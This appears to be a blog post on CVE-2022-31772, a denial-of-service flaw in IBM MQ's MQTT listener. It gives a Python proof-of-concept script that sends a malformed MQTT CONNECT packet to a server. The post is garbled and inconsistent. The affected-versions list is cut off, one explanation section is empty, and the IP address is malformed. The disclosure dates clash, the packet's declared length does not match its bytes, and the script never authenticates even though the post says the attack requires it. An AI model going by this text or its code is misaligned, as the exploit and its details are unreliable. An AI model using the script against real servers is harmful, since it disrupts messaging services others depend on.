IBM MQ is a widely used messaging middleware that connects applications, systems, and services across diverse digital landscapes. In May 2022, IBM disclosed a significant security vulnerability—CVE-2022-31772—affecting several IBM MQ versions. This issue can let an authenticated (already logged-in) and authorized user crash specific MQTT channels in a classic Denial of Service (DoS) attack.

In this post, we'll break down what this vulnerability is, how it can be exploited (with code snippets!), the affected versions, some core references, and how you can defend your systems.

This CVE hits certain IBM MQ versions

- 8.

Official IBM Advisory

- IBM Security Bulletin: CVE-2022-31772

IBM X-Force ID: 228335

Attack summary:  
A user with proper credentials and MQ permissions can crash MQTT channels by sending crafted MQTT messages, causing the queue manager to stop handling MQTT clients. This is a denial of service—not data theft. But if your apps depend on MQTT, this can be a big problem.

The Basics

MQTT is a lightweight protocol for IoT and other apps. IBM MQ includes an MQTT listener for handling these messages. The vulnerability allows a properly logged-in user to send malformed or unexpected data, which MQ fails to handle, leading to a crash or hang of the MQTT channel.

Key Point:  
The attacker must already have the ability to authenticate and connect with MQTT. This means they’re usually an internal user or someone who compromised an MQTT credential.

Warning

Only use these details in test environments!

Step 1: Connect to the MQTT Port

Common MQ MQTT channel: 1883 (non-TLS) or 8883 (TLS).

You can use Python’s paho-mqtt client to simulate the attack.

Install it

pip install paho-mqtt

Step 2: Send Malformed MQTT Data

The exploit works by sending an oversized or specially crafted MQTT message, often via the protocol’s CONNECT or PUBLISH methods.

Here’s a simple example for illustration

import socket

# Target details
TARGET = '10...100'  # Replace with your MQ server IP
PORT = 1883            # MQTT default port

def malformed_connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, PORT))

    # Malformed CONNECT packet (invalid protocol level)
    # MQTT CONNECT header: \x10<size>\x00\x04MQTT\xff<flags><keepalive>\x00<client_id>
    payload = (
        b'\x10' # Packet type: CONNECT
        b'\x13' # Remaining length (19 bytes)
        b'\x00\x04MQTT'  # Protocol Name
        b'\xff'  # Invalid Protocol Level (should be 4 for 3.1.1, 5 for 5.)
        b'\x02'  # Connect Flags
        b'\x00\x3c'  # Keep Alive: 60 seconds
        b'\x00\x04evil'  # Client ID: "evil"
    )
    
    s.sendall(payload)
    s.close()

if __name__ == "__main__":
    malformed_connect()
    print("Malformed MQTT message sent.")

What This Does:

References

- IBM Official Advisory: IBM Security Bulletin CVE-2022-31772
- X-Force Exchange: X-Force ID: 228335
- National Vulnerability Database: NVD Entry CVE-2022-31772

Update IBM MQ. IBM released fixes for supported versions.

- Details: IBM MQ Fix Packs

Conclusion

CVE-2022-31772 is a classic "insider" risk: it doesn't let anonymous attackers in, but a legitimate user can take down messaging for everyone else. If you’re using MQTT on IBM MQ, patch now, review your user access, and watch for odd MQTT behaviors.

If you manage IBM MQ or depend on MQTT, consider this a high-priority issue and verify all your endpoints are updated and access is locked down.

Further Reading

- IBM MQTT Documentation
- Paho MQTT Python Docs

Timeline

Published on: 11/11/2022 19:15:00 UTC
Last modified on: 02/14/2023 15:51:00 UTC